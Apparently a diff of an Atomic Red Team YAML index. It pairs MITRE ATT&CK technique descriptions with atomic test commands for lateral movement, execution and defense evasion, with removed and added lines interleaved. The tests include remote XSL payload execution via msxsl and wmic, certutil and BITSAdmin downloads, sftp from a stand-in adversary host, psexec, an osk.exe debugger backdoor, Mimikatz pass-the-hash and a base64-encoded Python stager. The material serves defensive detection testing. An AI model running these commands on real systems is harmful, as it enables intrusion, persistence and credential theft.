created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Avneet Singh + - Casey Smith + - Praetorian + created: '2018-10-17T00:14:20.652Z' + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1220 + url: https://attack.mitre.org/techniques/T1220 + - source_name: Microsoft XSLT Script Mar 2017 + description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting + Using . Retrieved July 3, 2018. + url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script + - source_name: Microsoft msxsl.exe + description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). + Retrieved July 3, 2018. + url: https://www.microsoft.com/download/details.aspx?id=21714 + - source_name: Penetration Testing Lab MSXSL July 2017 + description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved + July 3, 2018. + url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ + - source_name: Reaqta MSXSL Spearphishing MAR 2018 + description: Admin. (2018, March 2). Spear-phishing campaign leveraging on + MSXSL. Retrieved July 3, 2018. + url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ + - source_name: XSL Bypass Mar 2019 + description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to + Proxy Code Execution. Retrieved August 2, 2019. + url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75 + - description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019. + source_name: LOLBAS Wmic + url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/ + - source_name: Twitter SquiblyTwo Detection APR 2018 + description: Desimone, J. (2018, April 18). Status Update. Retrieved July + 3, 2018. + url: https://twitter.com/dez_/status/986614411711442944 + x_mitre_defense_bypassed: + - Anti-virus + - Application whitelisting + - Digital Certificate Validation + identifier: T1220 + atomic_tests: + - name: MSXSL Bypass using local files + description: 'Executes the code specified within a XSL script tag during XSL + transformation using a local payload. Requires download of MSXSL from Microsoft + at https://www.microsoft.com/en-us/download/details.aspx?id=21714. ' supported_platforms: - - linux - - macos + - windows input_arguments: - remote_file: - description: Path of file to copy + xmlfile: + description: Location of the test XML file on the local filesystem. type: Path - default: "/tmp/adversary-sftp" - username: - description: User account to authenticate on remote host - type: String - default: adversary - remote_host: - description: Remote host to copy from - type: String - default: adversary-host - local_path: - description: Local path to receive sftp + default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml + xslfile: + description: Location of the test XSL script file on the local filesystem. type: Path - default: "/tmp/victim-files/" + default: C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl executor: - name: bash - command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path} + name: command_prompt + command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile} ' - - name: certutil download (urlcache) - description: 'Use certutil -urlcache argument to download a file from the web. - Note - /urlcache also works! + - name: MSXSL Bypass using remote files + description: 'Executes the code specified within a XSL script tag during XSL + transformation using a remote payload. Requires download of MSXSL from Microsoft + at https://www.microsoft.com/en-us/download/details.aspx?id=21714. ' supported_platforms: - windows input_arguments: - remote_file: - description: URL of file to copy + xmlfile: + description: Remote location (URL) of the test XML file. type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt - local_path: - description: Local path to place file - type: Path - default: Atomic-license.txt + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml + xslfile: + description: Remote location (URL) of the test XSL script file. + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl executor: name: command_prompt - elevation_required: false - command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path} + command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile} ' - - name: certutil download (verifyctl) - description: 'Use certutil -verifyctl argument to download a file from the web. - Note - /verifyctl also works! + - name: WMIC bypass using local XSL file + description: 'Executes the code specified within a XSL script using a local + payload. ' supported_platforms: - windows input_arguments: - remote_file: - description: URL of file to copy - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt - local_path: - description: Local path to place file - type: Path - default: Atomic-license.txt + wmic_command: + description: WMI command to execute using wmic.exe + type: string + default: process list + local_xsl_file: + description: Location of the test XSL script file on the local filesystem. + type: path + default: C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl executor: - name: powershell - elevation_required: false - command: | - $datePath = "certutil-$(Get-Date -format yyyy_MM_dd_HH_mm)" - New-Item -Path $datePath -ItemType Directory - Set-Location $datePath - certutil -verifyctl -split -f #{remote_file} - Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} } - - name: Windows - BITSAdmin BITS Download - description: | - This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. - This technique is used by Qbot malware to download payloads. + name: command_prompt + command: 'wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file} + +' + - name: WMIC bypass using remote XSL file + description: 'Executes the code specified within a XSL script using a remote + payload. + +' supported_platforms: - windows input_arguments: - bits_job_name: - description: Name of the created BITS job - type: String - default: qcxjb7 - remote_file: - description: URL of file to copy - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt - local_path: - description: Local path to place file - type: Path - default: Atomic-license.txt + wmic_command: + description: WMI command to execute using wmic.exe + type: string + default: process list + remote_xsl_file: + description: Remote location of an XSL payload. + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl executor: name: command_prompt - command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority - HIGH #{remote_file} #{local_path}' - T1077: + command: 'wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file} + +' +lateral-movement: + T1155: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1077 - source_name: mitre-attack - external_id: T1077 - - url: https://capec.mitre.org/data/definitions/561.html - source_name: capec - external_id: CAPEC-561 - - url: http://support.microsoft.com/kb/314984 - source_name: Microsoft Admin Shares - description: Microsoft. (n.d.). How to create and delete hidden or administrative - shares on client computers. Retrieved November 20, 2014. - - url: http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx - source_name: Lateral Movement Payne - description: Payne, J. (2015, November 26). Tracking Lateral Movement Part - One - Special Groups and Specific Service Accounts. Retrieved February 1, - 2016. - - url: http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx - source_name: Windows Event Forwarding Payne - description: Payne, J. (2015, November 23). Monitoring what matters - Windows - Event Forwarding for everyone (even if you already have a SIEM.). Retrieved - February 1, 2016. - - url: https://en.wikipedia.org/wiki/Server_Message_Block - source_name: Wikipedia SMB - description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June - 12, 2016. - - url: https://technet.microsoft.com/en-us/library/cc787851.aspx - source_name: TechNet RPC - description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, - 2016. - - url: https://technet.microsoft.com/bb490717.aspx - source_name: Technet Net Use - description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. x_mitre_data_sources: - - Process use of network - - Authentication logs + - API monitoring + - System calls - Process monitoring - Process command-line parameters - x_mitre_system_requirements: - - |- - File and printer sharing over SMB enabled. - Host/network firewalls not blocking SMB ports between source and destination. - Use of domain account in administrator group on remote system or default system admin account. + x_mitre_permissions_required: + - User + name: AppleScript + description: "macOS and OS X applications send AppleEvent messages to each other + for interprocess communications (IPC). These messages can be easily scripted + with AppleScript for local or remote IPC. Osascript executes AppleScript and + any other Open Scripting Architecture (OSA) language scripts. A list of OSA + languages installed on a system can be found by using the osalang + program.\nAppleEvent messages can be sent independently or as part of a script. + These events can locate open windows, send keystrokes, and interact with almost + any open application locally or remotely. \n\nAdversaries can use this to + interact with open SSH connection, move to remote machines, and even present + users with fake dialog boxes. These events cannot start applications remotely + (they can start them locally though), but can interact with applications if + they're already running remotely. Since this is a scripting language, it can + be used to launch more common techniques as well such as a reverse shell via + python (Citation: Macro Malware Targets Macs). Scripts can be run from the + command-line via osascript /path/to/script or osascript + -e \"script here\"." + x_mitre_remote_support: true + id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b + x_mitre_platforms: + - macOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'Ensure that proper logging of accounts used to log into - systems is turned on and centrally collected. Windows logging is able to collect - success/failure for accounts that may be used to move laterally and can be - collected using tools such as Windows Event Forwarding. (Citation: Lateral - Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote - login events and associated SMB activity for file transfers and remote process - execution. Monitor the actions of remote users who connect to administrative - shares. Monitor for use of tools and commands to connect to remote shares, - such as [Net](https://attack.mitre.org/software/S0039), on the command-line - interface and Discovery techniques that could be used to find remotely accessible - systems.' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--ffe742ed-9100-4686-9e00-c331da544787 - name: Windows Admin Shares - created: '2017-05-31T21:31:00.200Z' x_mitre_version: '1.0' type: attack-pattern - description: "Windows systems have hidden network shares that are accessible - only to administrators and provide the ability for remote file copy and other - administrative functions. Example network shares include C$, - ADMIN$, and IPC$. \n\nAdversaries may use this technique - in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) - to remotely access a networked system over server message block (SMB) (Citation: - Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), - (Citation: TechNet RPC) transfer files, and run transferred binaries through - remote Execution. Example execution techniques that rely on authenticated - sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), - [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows - Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries - can also use NTLM hashes to access administrator shares on systems with [Pass - the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration - and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) - utility can be used to connect to Windows admin shares on remote systems using - net use commands with valid credentials. (Citation: Technet Net - Use)" - x_mitre_permissions_required: - - Administrator - identifier: T1077 - atomic_tests: - - name: Map admin share - description: 'Connecting To Remote Shares - -' - supported_platforms: - - windows - input_arguments: - share_name: - description: Examples C$, IPC$, Admin$ - type: String - default: C$ - user_name: - description: Username - type: String - default: DOMAIN\Administrator - password: - description: Password - type: String - default: P@ssw0rd1 - computer_name: - description: Target Computer Name - type: String - default: Target - executor: - name: command_prompt - elevation_required: false - command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} - /u:#{user_name}" + x_mitre_detection: Monitor for execution of AppleScript through osascript that + may be related to other suspicious behavior occurring on the system. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1155 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1155 + - source_name: Macro Malware Targets Macs + description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. + Retrieved July 8, 2017. + url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ + modified: '2019-07-16T19:11:33.411Z' + identifier: T1155 + atomic_tests: + - name: AppleScript + description: | + Shell Script with AppleScript -' - - name: Map Admin Share PowerShell - description: 'Map Admin share utilizing PowerShell + reference -' + https://github.com/EmpireProject/Empire supported_platforms: - - windows - input_arguments: - share_name: - description: Examples C$, IPC$, Admin$ - type: String - default: C$ - computer_name: - description: Target Computer Name - type: String - default: Target - map_name: - description: Mapped Drive Letter - type: String - default: g + - macos executor: - name: powershell - elevation_required: false - command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name} + name: sh + command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\" + | python &"" ' - T1028: + '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1028 - source_name: mitre-attack - external_id: T1028 - - url: http://msdn.microsoft.com/en-us/library/aa384426 - source_name: Microsoft WinRM - description: Microsoft. (n.d.). Windows Remote Management. Retrieved November - 12, 2014. - - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 - source_name: Jacobsen 2014 - description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. - Retrieved November 12, 2014. + x_mitre_data_sources: + - Authentication logs + - Office 365 account logs + name: Web Session Cookie + description: "Adversaries can use stolen session cookies to authenticate to + web applications and services. This technique bypasses some multi-factor authentication + protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication + cookies are commonly used in web applications, including cloud-based services, + after a user has authenticated to the service so credentials are not passed + and re-authentication does not need to occur as frequently. Cookies are often + valid for an extended period of time, even if the web application is not actively + used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), + the adversary then imports the cookie into a browser they control and is able + to use the site or application as the user for as long as the session cookie + is active. Once logged into the site, an adversary can access sensitive information, + read email, or perform actions that the victim account has permissions to + perform.\n\nThere have been examples of malware targeting session cookies + to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto + Cookies January 2019) " + id: attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5 + modified: '2019-10-17T13:21:27.306Z' + x_mitre_platforms: + - Office 365 + - SaaS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - WinRM listener turned on and configured on remote system + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor for anomalous access of websites and cloud-based + applications by the same user in different locations or by different systems + that do not match expected configurations. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Johann Rehberger + created: '2019-10-08T20:08:56.205Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1506 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1506 + - source_name: Pass The Cookie + description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass + the Cookie. Retrieved April 5, 2019. + url: https://wunderwuzzi23.github.io/blog/passthecookie.html + - description: Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware + Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. + source_name: Unit 42 Mac Crypto Cookies January 2019 + url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ + x_mitre_defense_bypassed: + - Logon Credentials + - Multi-Factor Authentication + atomic_tests: [] + T1037: + technique: x_mitre_data_sources: - File monitoring - - Authentication logs - - Netflow/Enclave netflow - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor use of WinRM within an environment by tracking service - execution. If it is not normally used or is disabled, then this may be an - indicator of suspicious behavior. Monitor processes created and actions taken - by the WinRM process or a WinRM invoked script to correlate it with other - related events. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 - name: Windows Remote Management - created: '2017-05-31T21:30:33.723Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true type: attack-pattern - description: 'Windows Remote Management (WinRM) is the name of both a Windows - service and a protocol that allows a user to interact with a remote system - (e.g., run an executable, modify the Registry, modify services). (Citation: - Microsoft WinRM) It may be called with the winrm command or by - any number of programs such as PowerShell. (Citation: Jacobsen 2014)' - x_mitre_permissions_required: - - User - - Administrator - identifier: T1028 - atomic_tests: - - name: Enable Windows Remote Management - description: 'Powershell Enable WinRM - -' - supported_platforms: - - windows - executor: - name: powershell - elevation_required: true - command: 'Enable-PSRemoting -Force + name: Logon Scripts + description: |- + ### Windows -' - - name: PowerShell Lateral Movement - description: | - Powershell lateral movement using the mmc20 application com object + Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. - Reference: + If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. - https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/ - supported_platforms: - - windows - input_arguments: - computer_name: - description: Name of Computer - type: string - default: computer1 - executor: - name: command_prompt - command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", - $null, $null, "7") + ### Mac -' - - name: WMIC Process Call Create - description: 'Utilize WMIC to start remote process + Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. + id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 + x_mitre_platforms: + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Write access to system or domain logon scripts + x_mitre_detection: Monitor logon scripts for unusual access by abnormal users + or at abnormal times. Look for files added or modified by unusual accounts + outside of normal administration duties. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:38.910Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: lateral-movement + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1037 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1037 + - source_name: capec + external_id: CAPEC-564 + url: https://capec.mitre.org/data/definitions/564.html + - source_name: TechNet Logon Scripts + description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved + April 27, 2016. + url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx + - source_name: creating login hook + description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved + July 17, 2017.' + url: https://support.apple.com/de-at/HT2420 + modified: '2019-06-24T14:22:07.921Z' + identifier: T1037 + atomic_tests: + - name: Logon Scripts + description: 'Added Via Reg.exe ' supported_platforms: - windows input_arguments: - user_name: - description: Username - type: String - default: DOMAIN\Administrator - password: - description: Password - type: String - default: P@ssw0rd1 - computer_name: - description: Target Computer Name + script_command: + description: Command To Execute type: String - default: Target + default: cmd.exe /c calc.exe executor: name: command_prompt - command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name} - process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows - NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" - /t REG_SZ /d \"cmd.exe\" /f" - -' - - name: Psexec - description: 'Utilize psexec to start remote process + elevation_required: false + command: 'REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ + /d "#{script_command}" ' - supported_platforms: - - windows - input_arguments: - user_name: - description: Username - type: String - default: DOMAIN\Administrator - password: - description: Password - type: String - default: P@ssw0rd1 - computer_name: - description: Target Computer Name - type: String - default: Target - executor: - name: command_prompt - command: 'psexec \\host -u domain\user -p password -s cmd.exe + cleanup_command: 'REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript + /f ' - - name: Invoke-Command - description: 'Execute Invoke-command on remote host + - name: Logon Scripts - Mac + description: 'Mac logon script ' supported_platforms: - - windows - input_arguments: - host_name: - description: Remote Windows Host Name - type: String - default: Test - remote_command: - description: Command to execute on remote Host - type: String - default: ipconfig + - macos executor: - name: powershell - command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}} - -' -collection: - T1123: + name: manual + steps: "1. Create the required plist file\n\n sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2. + Populate the plist with the location of your shell script\n\n sudo defaults + write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3. + Create the required plist file in the target user's Preferences directory\n\n\t + \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4. + Populate the plist with the location of your shell script\n\n\t defaults + write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" + T1075: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1123 - source_name: mitre-attack - external_id: T1123 + x_mitre_data_sources: + - Authentication logs + type: attack-pattern + name: Pass the Hash + description: "Pass the hash (PtH) is a method of authenticating as a user without + having access to the user's cleartext password. This method bypasses standard + authentication steps that require a cleartext password, moving directly into + the portion of the authentication that uses the password hash. In this technique, + valid password hashes for the account being used are captured using a Credential + Access technique. Captured hashes are used with PtH to authenticate as that + user. Once authenticated, PtH may be used to perform actions on local or remote + systems. \n\nWindows 7 and higher with KB2871997 require valid domain user + credentials or RID 500 administrator hashes. (Citation: NSA Spotting)" + id: attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff + x_mitre_platforms: + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - API monitoring - - Process monitoring - - File monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. - - Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Requires Microsoft Windows as target system + x_mitre_detection: Audit all logon and credential use events and review for + discrepancies. Unusual remote logins that correlate with other suspicious + activity (such as writing and executing binaries) may indicate malicious activity. + NTLM LogonType 3 authentications that are not associated to a domain login + and are not anonymous logins are suspicious. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_contributors: + - Travis Smith, Tripwire + created: '2017-05-31T21:30:59.339Z' kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 - name: Audio Capture - created: '2017-05-31T21:31:34.528Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. - - Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. - x_mitre_permissions_required: - - User - identifier: T1123 + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1075 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1075 + - source_name: capec + external_id: CAPEC-644 + url: https://capec.mitre.org/data/definitions/644.html + - source_name: NSA Spotting + description: National Security Agency/Central Security Service Information + Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows + Event Log Monitoring. Retrieved September 6, 2018. + url: https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm + modified: '2019-07-18T16:56:39.990Z' + identifier: T1075 atomic_tests: - - name: SourceRecorder via Windows command prompt - description: 'Create a file called test.wma, with the duration of 30 seconds - -' + - name: Mimikatz Pass the Hash + description: | + Note: must dump hashes first + [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth) supported_platforms: - windows input_arguments: - output_file: - description: Path to the recording file being captured - type: Path - default: test.wma - duration_hms: - description: Duration of audio to be recorded (in h:m:s format) - type: Path - default: 30 - executor: - name: command_prompt - elevation_required: false - command: 'SoundRecorder /FILE #{output_file} /DURATION #{duration_hms} - -' - - name: PowerShell Cmdlet via Windows command prompt - description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n" - supported_platforms: - - windows + user_name: + description: username + type: string + default: Administrator + domain: + description: domain + type: string + default: atomic.local + ntlm: + description: ntlm hash + type: string + default: cc36cf7a8514893efccd3324464tkg1a executor: name: command_prompt - elevation_required: false - command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet + command: 'mimikatz # sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm} ' - T1119: + T1097: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1119 - source_name: mitre-attack - external_id: T1119 + x_mitre_data_sources: + - Authentication logs + type: attack-pattern + name: Pass the Ticket + description: |- + Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. + + In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket) + + Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks) + + Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014) + id: attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c + x_mitre_platforms: + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' x_mitre_system_requirements: - - Permissions to access directories and files that store information of interest. - x_mitre_data_sources: - - File monitoring - - Data loss prevention - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Depending on the method used, actions could include common - file system commands and parameters on the command-line interface within batch - files or scripts. A sequence of actions like this may be unusual, depending - on the system and network environment. Automated collection may occur along - with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). - As such, file access monitoring that shows an unusual process performing sequential - file opens and potentially copy actions to another location on the file system - for many files at once may indicate automated collection behavior. Remote - access tools with built-in features may interact directly with the Windows - API to gather data. Data may also be acquired through Windows system management - tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) - and [PowerShell](https://attack.mitre.org/techniques/T1086). + - Requires Microsoft Windows as 